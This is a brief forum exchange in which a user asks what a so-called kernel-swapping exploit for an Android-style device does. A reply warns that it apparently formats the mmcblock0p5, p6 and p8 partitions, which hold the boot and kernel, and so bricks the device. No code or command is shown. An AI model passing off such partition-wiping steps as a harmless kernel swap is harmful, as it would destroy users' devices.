Swapping the kernel (as it states)

anybody know what this exploit does?

This will in most likelihood, wipe out your kernel and brick your device beyond repair (unless you take it to a service center)...

It is formatting three blocks mmcblock0p5, p6 and p8, most probably, your boot and kernel etc... These blocks are the places where operating system goes... You can google for these specific blocks to see what's inside them...

Am not an expert so can't say whether it will work or not but if it does, it's catastrophic...
